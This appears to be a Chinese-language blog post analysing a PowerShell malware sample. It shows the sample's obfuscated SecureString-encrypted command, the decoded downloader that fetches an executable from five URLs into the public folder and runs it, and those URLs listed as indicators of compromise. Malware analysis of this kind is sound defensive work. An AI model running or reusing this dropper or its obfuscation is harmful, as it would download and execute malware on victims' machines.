记一次powershell反混淆(2)

样本地址

https://www.hybrid-analysis.com/sample/4b4b8b13c264c8f7d7034060e0e4818a573bebc576a94d7b13b4c1741591687f?environmentId=100#

样本使用ConvertTo-SecureString加密字符串。

代码

 powershell "([RUNTiME.iNTeRopsErViCeS.mArShal]::PTRTOstRiNGuNi( [rUnTime.IntErOPSERvIceS.maRsHal]::sECUResTriNGTOgLOBAlAlLOCUNIcoDe($('76492d1116743f0423413b16050a5345MgB8AFgAMgBBAGoAdwB2ADUAdgBzAEMAYwBlADkASwBMAFAAaAB1AEsANwB4AEEAPQA9AHwAYQBkADAAMwA0AGUAOQBiAGMAZABjADUAOABhAGMAYgAzADgANQA4ADMAOQBiAGQAYQAyADEAMwA2ADIAZgA3ADgAMwBlADUAZAAzADkANwBlAGUAMABkADcAZQA1AGEAOQBhADYAMQBlADEAMABlAGIAZABmADkAMQBkADEAYwAwAGQAMgA3ADcANwAyADAAOQA4AGMAYwA3ADYANABmADUANQAxADQAYgA1AGUAYgA3AGIAZQAxADcANgA3ADgAYwA1ADIANwA5ADMAMgBiAGEAZQA2ADEANAA1AGYAYwAyAGUAZgBkAGEAZgAyADgAMABlAGUAZgAzADIANABkADQANgA3AGQAMgBkADcAZgBmADEAZABkAGIAYgA1AGUANwBkAGUANAA1ADEAOAA4ADMANQAxAGUAMQA5AGUANgBhAGUANwA0ADkAMQA4ADMAZgAwADIANwBiADEAZAAwADkANAAxAGEAYwA4AGEAOQBlADAANgA4AGEAYgA2AGMAMgA1AGYANQA5ADQAOQAzADgAYgA1AGIANgA3ADIANwA1ADUANgA4ADEAYgBlADMANgA3AGQAYgBmAGEAZQBlADYAZgAwAGUAMgA5ADcAZQBlADAAZQBmAGYAZQBlADMAYgAzAGUAOAA2ADgAMQBiAGIAMQBlAGMANwA5ADAAYwBjADMAMwAxADUANwA0AGEAYQBkADAAYgA4ADUANwBkADMANwA5ADYAYQBmADgAMgBlADgAZQA4ADUAYwAwAGYAZQBmADIAMQBkADEAZQAxADQAMQA0AGYAYgA3ADUAMQA2ADgAMAAyAGEANAAzAGQAYQBkAGIAMABkADgANAA1ADYANQA3ADQANwBhADAAZQA4ADgAOQBjADQANgAyADkAZQAyAGYAZQA4ADcAOAA0ADgANwA3ADkAMwA4ADcAZQA0ADEAZAAzAGQAZQA0ADcANgA1ADEANwBiAGYAMgAxADYAMQA1ADUAMQAzAGUAYgA4ADAAMgA1ADgAOAAzADgAZQBkAGQAZgBhADIAMAA2ADMANAAwADgAZAAxADIAMwA0AGIAOQBlAGIAZQAyADcAOQA1AGMAMwBiADQAMQBlAGQAMgBjADYAMwA0ADkAOQAyAGMAMwBlADcAYQBhAGUAYQA4AGIAZgAwADMANwAyADMAYQA2ADMAZgA1AGMANQBjADcAMQA1AGEANQA1ADMANgBiAGEAZQBmAGYAMwA5ADQAMwBmADMAZgBjADMAMwBlAGIAYgBjADMAYgA2ADUAYgA2ADIAYQA2AGIAMAA3ADIANQA1AGMAYwA0AGEANAA0AGYAMgAyAGYANwAxAGUAMQBiADEAYgBiADMAMgAxADQAMAAyADcAOAAxADEANQBhAGIANwBhADAAMABhADcAZgA0ADkANwAwADAAOABmAGYAMwA3ADkAMwBlADgAOQA3ADYAYQAxADIAOQAwADMANwAwAGUAOQA0AGIAYwBhAGQAMwA3AGEAOQA0AGEAYwA2ADYAOABkAGYAMABiADMAYgBiAGMAZQA4ADIAMwAxAGQAYwBhAGQAYgA4ADQAMABlADAAYwA3ADkAYgBjADcAYgBjADcAOQA5ADYAYQAzAGYAZgA3ADUAZABkAGEAYQA0ADUAZgA1ADAAOQA1AGUAOAA4ADYAMABjAGIANgA1AGQAYgAwAGMAZgBjADMAZABhADkAOAA1ADYANwBhADQAMwBhADIAYwBhADEAMwA5AGEAMAAzADAANAA3AGIAOQBmAGMAZAA2ADgANwBlAGMAMAAzADAAZAA4ADQAMwAwAGEAZQA5ADQANgBhADcANAAxAGYAMABmADYAOAAwADMAOABlAGUAYQA3ADUANABjADgAMwAwADgANAAzAGYAMQBiADAAOQA4AGQAZABlAGYAZgAwADYANAAyADAANwA4ADMAMgAzAGQAZQAyADMAZQAwADMAMABkAGEAYQA4AGIANQA5ADMAMAAzADkAOQA3ADgANAAwADIANABlADgANAA5ADYAYwA3ADcAMAAwADEAYwAwADYAYgA1AGIANQBiADcAYQA5ADUAOAAxADcAOQA5ADAANwAzADUANgBkADgAZAA3AGQAMwAyAGEAYQBlADYANQBmADgAMgA1ADEAMABjAGQAZgBlADcAYwBmAGEAZQAxAGYAZgBkAGEAZQAwADAAMgA2AGIAZgA0ADEAOAA4ADQAYQBlAGQAZQA5AGMAOQAwADcAMgBkADUAZgA2AGEAMQA3ADEAMQBiAGEAYgBjAGIAZgBhADgAYwAyADcANwBiADMAYQA5ADAAYgA5ADcANgA1ADAAZgA2ADMAMgAwAGQAYgAzAGMAYwA4ADIAZgA2AGQAMQBjADgAMwBmADQAYQAxADYAMgBkADEANgA0ADAAMQBmADIAZgBkADMAYQBlAGIAOQBmAGYAZAAwADQAMwA4AGYANwBhAGMAMgBiADIAZQA1AGMAZQA5AGUAMgBlADUAMQA4ADcAOAA3ADYAYgBiAGEAOAA0ADMAZgAxADcANwA3ADYANABjAGQAYwBlADAAMQAyADQAYwBhAGQANgBiAGIAYQAzADUANgA3ADYAZQBiAGIAYgBiAGUANQBlAGQAYwA2AGMANgBhAGIANgAwAGEANQA5ADUAMQBlADUAMQA0ADQAMQBjADcAZABmADEAMgA3ADEAYwBkADUAZgBkADYAZAA0ADMAOAA1ADUAZQA0AGQAYQA0ADQAZABlAGYANAA0ADMANgA1ADkAMgAwADUAYwBjADMAMgBkADUAYwA2ADcAYQA1ADQAZQA3AGIAZAAyAGEAOQA2ADcANwAwADkANABhAGUANQBkAGUANwAxAGIAZABiADEAYQA2AGMANwAzAGEAZQA5ADEANwA1AGYAYQA1ADYAOAA3AGIAMgBhAGIAZQAyADgAYwA1ADEAZAAzADMAMQBmADEAMQAxADcAOAA4AGYAZAA3ADAANgAyAGUAZgAwADEAYwBmAGQAMQBlADUAMgBjADcANgBkAGEAMgA0ADYAMwAzAGIAMwA5AGMAMQA0ADUAYgA1AGMAZgBiAGYAOAA1AGEANwBkADgAMAAxADAAMwAzAGUAMwAxADIAZgAxAGIANAA3AGIAYwBlADUAMgAwADYAMgA1AGIAYwBlAGMAMwAwAGUANABlADkAMAAyAGYAOAA3ADEANQAxADMAMABhADAAMAA5ADkAYgA1ADQAZQBlAGYANQBjADgAMQBjAGQAMgA2AGQANQA2ADkAZAAyAGEAZgAxADUAYgA5AGYAOABkADQANQBmADAAZQA0ADkAZQA3ADYAYQA2ADAAZAA2ADQAMAA3AGYANwBiADkAMwA2ADkAZgBiADkAYQAxADEAZgA0ADYANAAwAGEAYgBkAGIAYQBjADQAYQBiAGMAYQA4ADIAOAA2AGQAOQBlAGIANQA2AGMAMQA0ADYAZgBiAGQAZABjAGIAYwA2ADIAZAA4ADkAZQBmADYAZgA3AGMAYgAzADcAYgA0ADgANwA5AGIAMwA0AGUAMAAzADQAMgA5ADQAZgAyAGQAZQA3AGQAMQA1ADMAYgBkADIANAA1AGEANgA0AGEANwBlADEAZAAyAGMAZgBhADkAOQBlADUAMgA2ADAAMAA4AGEANgA4ADQAZgA3ADYAOQBlADUAMgBiADYANgA2AGQAYQAwADMANgBkAGMAZQBjAGMAMgBhAGQAMgAwAGQAYgBhAGUANAAwADcANAA4AGYAZAA4AGYANAA0ADkAYQBlADEANwBiAGYAMgBlADMAYgA2ADMAZgA1ADIAYwAxADkANQA5AGYAOQBjAGUAYgA0ADEANQA0AGIANQBhADUANQBjAGUAOQBlADMANABmADEAYwAyADEANQAxADQANQA4ADgAOAAyADkANAA3AGUANwBhADQAMgA5ADAANQBhAGIANQAwADIAZgAxAGYAZABlAGYAYgA4ADcAYwAyADMAYwA1AGUAYQA4AGIANABkAGMANwBlADIAMwA2AGMAMwBmAGQAYwAzAGEAZgA5AGQAYQAwADMAOQAxAGQAMQBiADgAZAA2ADYAZAA3AGMAMABiADAAMgA1ADYAOABiADYAZQAzADcAMAAzAGUAZAA5ADkAYQA3ADQAZgBjADMANABiAGMAMQA0ADcANABiADMAYgBjADQAMwAxAGYANwBiAGUANgA5ADEANwAxADAANAAwAGEAMgAwADEAOQA1AGMANABkADAAMAAwAGEAMQA3AGUANwBjADgANwAzADcAZAA1ADAAMgBjAGIAOQBjADEAZQBkADYAYgBmAGEAMgBlAGYANABiADIAMgA1ADMAMQBhADAAYQBkADcAMAAxADcAMgA1ADgAOQA1ADAAZAA0AGEANQAxAGYAMQAwADIAMAA3AGMAZgA1AGYAMgA1AGYAYQAxAGYAZgA3ADEAMQBjADEAMwAzADkAZQBhADEAYgA4ADUANgA1ADAAMAAzAGEAMQBiADEAYgA0ADUAYQAzAGIAMgA2ADEANwA4ADgAOQA4ADMANwA4ADUAMwA4AGYAMAAwADMAZABkAGEAZAA5ADcAZQBiADYANAAzADkAOQA2ADIAYQBmADYAOQBjAGIAZQA5AGYANQA1ADMAZAA5AGMANwBmAGMAZQBiAGIANQAwADAAMABlADYAOQBmADkANwA3ADQAZABjADgAMABjADcAZAA2ADcAZAA4ADEAYgA1AGIANgBkADYAYgBiADAAZgA1ADQAMgBmADEAMgA2AGMAYQBjADQAYwBlAGYANgA0AGUAMAA3AGEAMAAyAGEAOAA2ADYAMwA0ADkANQBmADkAYgBlAGEAYwBjADgAMgA5ADIAZgAxADYAZgA1ADYAOQBkAGQAMAA2AGMANwA4AGYANQA2AGQAMgAyADEAYgA3ADkAMgA1AGUAZQAyAGUANABkADEAMgBkAGUANgBlAGQANAA4AGIANQA1ADQANwA5ADQAZQBhAGIANAAxAGEANgBmADYAZgBmADgAYQAzADIAMwAzAGYAYQA5ADkANwA2ADIANwA5ADEAMwA0AGQAYwBmAGMAOQAyADIANABkADUAYwA1AGQANAAyAGEANwBlADAANAA5ADUANwA1ADMAZgAwAGYAZgBjAGMAOQA3ADcAMAA4AGIAMwA1ADQAMgA3AGMAZAA1ADQANAAzADAANwAwAGIAMgAwADQAYgA4AGYAMQA4ADAAZgAyAGYAZABkADEANwBhADAANwBjADYANwAxADAANgA='| cOnVertTO-SEcUrEStrinG -KE 196,148,187,123,187,195,213,254,9,250,232,193,112,146,83,172,255,41,240,23,34,95,215,17,226,111,128,53,126,193,106,149)) ))| .( $Env:cOMSpeC[4,24,25]-JOIn'')

PS C:\Windows\system32> ([RUNTiME.iNTeRopsErViCeS.mArShal]::PTRTOstRiNGuNi( [rUnTime.IntErOPSERvIceS.maRsHal]::sECUResTr
iNGTOgLOBAlAlLOCUNIcoDe($('76492d1116743f0423413b16050a5345MgB8AFgAMgBBAGoAdwB2ADUAdgBzAEMAYwBlADkASwBMAFAAaAB1AEsANwB4A
EEAPQA9AHwAYQBkADAAMwA0AGUAOQBiAGMAZABjADUAOABhAGMAYgAzADgANQA4ADMAOQBiAGQAYQAyADEAMwA2ADIAZgA3ADgAMwBlADUAZAAzADkANwBlA
GUAMABkADcAZQA1AGEAOQBhADYAMQBlADEAMABlAGIAZABmADkAMQBkADEAYwAwAGQAMgA3ADcANwAyADAAOQA4AGMAYwA3ADYANABmADUANQAxADQAYgA1A
GUAYgA3AGIAZQAxADcANgA3ADgAYwA1ADIANwA5ADMAMgBiAGEAZQA2ADEANAA1AGYAYwAyAGUAZgBkAGEAZgAyADgAMABlAGUAZgAzADIANABkADQANgA3A
GQAMgBkADcAZgBmADEAZABkAGIAYgA1AGUANwBkAGUANAA1ADEAOAA4ADMANQAxAGUAMQA5AGUANgBhAGUANwA0ADkAMQA4ADMAZgAwADIANwBiADEAZAAwA
DkANAAxAGEAYwA4AGEAOQBlADAANgA4AGEAYgA2AGMAMgA1AGYANQA5ADQAOQAzADgAYgA1AGIANgA3ADIANwA1ADUANgA4ADEAYgBlADMANgA3AGQAYgBmA
GEAZQBlADYAZgAwAGUAMgA5ADcAZQBlADAAZQBmAGYAZQBlADMAYgAzAGUAOAA2ADgAMQBiAGIAMQBlAGMANwA5ADAAYwBjADMAMwAxADUANwA0AGEAYQBkA
DAAYgA4ADUANwBkADMANwA5ADYAYQBmADgAMgBlADgAZQA4ADUAYwAwAGYAZQBmADIAMQBkADEAZQAxADQAMQA0AGYAYgA3ADUAMQA2ADgAMAAyAGEANAAzA
GQAYQBkAGIAMABkADgANAA1ADYANQA3ADQANwBhADAAZQA4ADgAOQBjADQANgAyADkAZQAyAGYAZQA4ADcAOAA0ADgANwA3ADkAMwA4ADcAZQA0ADEAZAAzA
GQAZQA0ADcANgA1ADEANwBiAGYAMgAxADYAMQA1ADUAMQAzAGUAYgA4ADAAMgA1ADgAOAAzADgAZQBkAGQAZgBhADIAMAA2ADMANAAwADgAZAAxADIAMwA0A
GIAOQBlAGIAZQAyADcAOQA1AGMAMwBiADQAMQBlAGQAMgBjADYAMwA0ADkAOQAyAGMAMwBlADcAYQBhAGUAYQA4AGIAZgAwADMANwAyADMAYQA2ADMAZgA1A
GMANQBjADcAMQA1AGEANQA1ADMANgBiAGEAZQBmAGYAMwA5ADQAMwBmADMAZgBjADMAMwBlAGIAYgBjADMAYgA2ADUAYgA2ADIAYQA2AGIAMAA3ADIANQA1A
GMAYwA0AGEANAA0AGYAMgAyAGYANwAxAGUAMQBiADEAYgBiADMAMgAxADQAMAAyADcAOAAxADEANQBhAGIANwBhADAAMABhADcAZgA0ADkANwAwADAAOABmA
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DIAMwAxAGQAYwBhAGQAYgA4ADQAMABlADAAYwA3ADkAYgBjADcAYgBjADcAOQA5ADYAYQAzAGYAZgA3ADUAZABkAGEAYQA0ADUAZgA1ADAAOQA1AGUAOAA4A
DYAMABjAGIANgA1AGQAYgAwAGMAZgBjADMAZABhADkAOAA1ADYANwBhADQAMwBhADIAYwBhADEAMwA5AGEAMAAzADAANAA3AGIAOQBmAGMAZAA2ADgANwBlA
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DYAYwA3ADcAMAAwADEAYwAwADYAYgA1AGIANQBiADcAYQA5ADUAOAAxADcAOQA5ADAANwAzADUANgBkADgAZAA3AGQAMwAyAGEAYQBlADYANQBmADgAMgA1A
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DEAMQBiAGEAYgBjAGIAZgBhADgAYwAyADcANwBiADMAYQA5ADAAYgA5ADcANgA1ADAAZgA2ADMAMgAwAGQAYgAzAGMAYwA4ADIAZgA2AGQAMQBjADgAMwBmA
DQAYQAxADYAMgBkADEANgA0ADAAMQBmADIAZgBkADMAYQBlAGIAOQBmAGYAZAAwADQAMwA4AGYANwBhAGMAMgBiADIAZQA1AGMAZQA5AGUAMgBlADUAMQA4A
DcAOAA3ADYAYgBiAGEAOAA0ADMAZgAxADcANwA3ADYANABjAGQAYwBlADAAMQAyADQAYwBhAGQANgBiAGIAYQAzADUANgA3ADYAZQBiAGIAYgBiAGUANQBlA
GQAYwA2AGMANgBhAGIANgAwAGEANQA5ADUAMQBlADUAMQA0ADQAMQBjADcAZABmADEAMgA3ADEAYwBkADUAZgBkADYAZAA0ADMAOAA1ADUAZQA0AGQAYQA0A
DQAZABlAGYANAA0ADMANgA1ADkAMgAwADUAYwBjADMAMgBkADUAYwA2ADcAYQA1ADQAZQA3AGIAZAAyAGEAOQA2ADcANwAwADkANABhAGUANQBkAGUANwAxA
GIAZABiADEAYQA2AGMANwAzAGEAZQA5ADEANwA1AGYAYQA1ADYAOAA3AGIAMgBhAGIAZQAyADgAYwA1ADEAZAAzADMAMQBmADEAMQAxADcAOAA4AGYAZAA3A
DAANgAyAGUAZgAwADEAYwBmAGQAMQBlADUAMgBjADcANgBkAGEAMgA0ADYAMwAzAGIAMwA5AGMAMQA0ADUAYgA1AGMAZgBiAGYAOAA1AGEANwBkADgAMAAxA
DAAMwAzAGUAMwAxADIAZgAxAGIANAA3AGIAYwBlADUAMgAwADYAMgA1AGIAYwBlAGMAMwAwAGUANABlADkAMAAyAGYAOAA3ADEANQAxADMAMABhADAAMAA5A
DkAYgA1ADQAZQBlAGYANQBjADgAMQBjAGQAMgA2AGQANQA2ADkAZAAyAGEAZgAxADUAYgA5AGYAOABkADQANQBmADAAZQA0ADkAZQA3ADYAYQA2ADAAZAA2A
DQAMAA3AGYANwBiADkAMwA2ADkAZgBiADkAYQAxADEAZgA0ADYANAAwAGEAYgBkAGIAYQBjADQAYQBiAGMAYQA4ADIAOAA2AGQAOQBlAGIANQA2AGMAMQA0A
DYAZgBiAGQAZABjAGIAYwA2ADIAZAA4ADkAZQBmADYAZgA3AGMAYgAzADcAYgA0ADgANwA5AGIAMwA0AGUAMAAzADQAMgA5ADQAZgAyAGQAZQA3AGQAMQA1A
DMAYgBkADIANAA1AGEANgA0AGEANwBlADEAZAAyAGMAZgBhADkAOQBlADUAMgA2ADAAMAA4AGEANgA4ADQAZgA3ADYAOQBlADUAMgBiADYANgA2AGQAYQAwA
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DAANQBhAGIANQAwADIAZgAxAGYAZABlAGYAYgA4ADcAYwAyADMAYwA1AGUAYQA4AGIANABkAGMANwBlADIAMwA2AGMAMwBmAGQAYwAzAGEAZgA5AGQAYQAwA
DMAOQAxAGQAMQBiADgAZAA2ADYAZAA3AGMAMABiADAAMgA1ADYAOABiADYAZQAzADcAMAAzAGUAZAA5ADkAYQA3ADQAZgBjADMANABiAGMAMQA0ADcANABiA
DMAYgBjADQAMwAxAGYANwBiAGUANgA5ADEANwAxADAANAAwAGEAMgAwADEAOQA1AGMANABkADAAMAAwAGEAMQA3AGUANwBjADgANwAzADcAZAA1ADAAMgBjA
GIAOQBjADEAZQBkADYAYgBmAGEAMgBlAGYANABiADIAMgA1ADMAMQBhADAAYQBkADcAMAAxADcAMgA1ADgAOQA1ADAAZAA0AGEANQAxAGYAMQAwADIAMAA3A
GMAZgA1AGYAMgA1AGYAYQAxAGYAZgA3ADEAMQBjADEAMwAzADkAZQBhADEAYgA4ADUANgA1ADAAMAAzAGEAMQBiADEAYgA0ADUAYQAzAGIAMgA2ADEANwA4A
DgAOQA4ADMANwA4ADUAMwA4AGYAMAAwADMAZABkAGEAZAA5ADcAZQBiADYANAAzADkAOQA2ADIAYQBmADYAOQBjAGIAZQA5AGYANQA1ADMAZAA5AGMANwBmA
GMAZQBiAGIANQAwADAAMABlADYAOQBmADkANwA3ADQAZABjADgAMABjADcAZAA2ADcAZAA4ADEAYgA1AGIANgBkADYAYgBiADAAZgA1ADQAMgBmADEAMgA2A
GMAYQBjADQAYwBlAGYANgA0AGUAMAA3AGEAMAAyAGEAOAA2ADYAMwA0ADkANQBmADkAYgBlAGEAYwBjADgAMgA5ADIAZgAxADYAZgA1ADYAOQBkAGQAMAA2A
GMANwA4AGYANQA2AGQAMgAyADEAYgA3ADkAMgA1AGUAZQAyAGUANABkADEAMgBkAGUANgBlAGQANAA4AGIANQA1ADQANwA5ADQAZQBhAGIANAAxAGEANgBmA
DYAZgBmADgAYQAzADIAMwAzAGYAYQA5ADkANwA2ADIANwA5ADEAMwA0AGQAYwBmAGMAOQAyADIANABkADUAYwA1AGQANAAyAGEANwBlADAANAA5ADUANwA1A
DMAZgAwAGYAZgBjAGMAOQA3ADcAMAA4AGIAMwA1ADQAMgA3AGMAZAA1ADQANAAzADAANwAwAGIAMgAwADQAYgA4AGYAMQA4ADAAZgAyAGYAZABkADEANwBhA
DAANwBjADYANwAxADAANgA='| cOnVertTO-SEcUrEStrinG -KE 196,148,187,123,187,195,213,254,9,250,232,193,112,146,83,172,255,41
,240,23,34,95,215,17,226,111,128,53,126,193,106,149)) ))
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000
, 282133);$ADCX = '
http://quote.freakget.com/wp-content/rCk5/@http://www.lightchasers.in/Mwmg/@http://casastoneworks.com.au/9ARR4/@http://
jasclair.com/scI8YTL/@http://convivialevent.fr/IoVWm/'.Split('@');$SDC = $env:public + '\' + $NSB + ('.ex'+'e');foreach
($asfc in $ADCX){try{$YYU."Do`Wnl`OadFI`le"($asfc."ToStr`i`Ng"(), $SDC);&('Invo'+'k'+'e-Item')($SDC);break;}catch{}}
PS C:\Windows\system32>

Network IoCs:

http://quote.freakget.com/wp-content/rCk5/
http://www.lightchasers.in/Mwmg/
http://casastoneworks.com.au/9ARR4/@http://
http://jasclair.com/scI8YTL/
http://convivialevent.fr/IoVWm/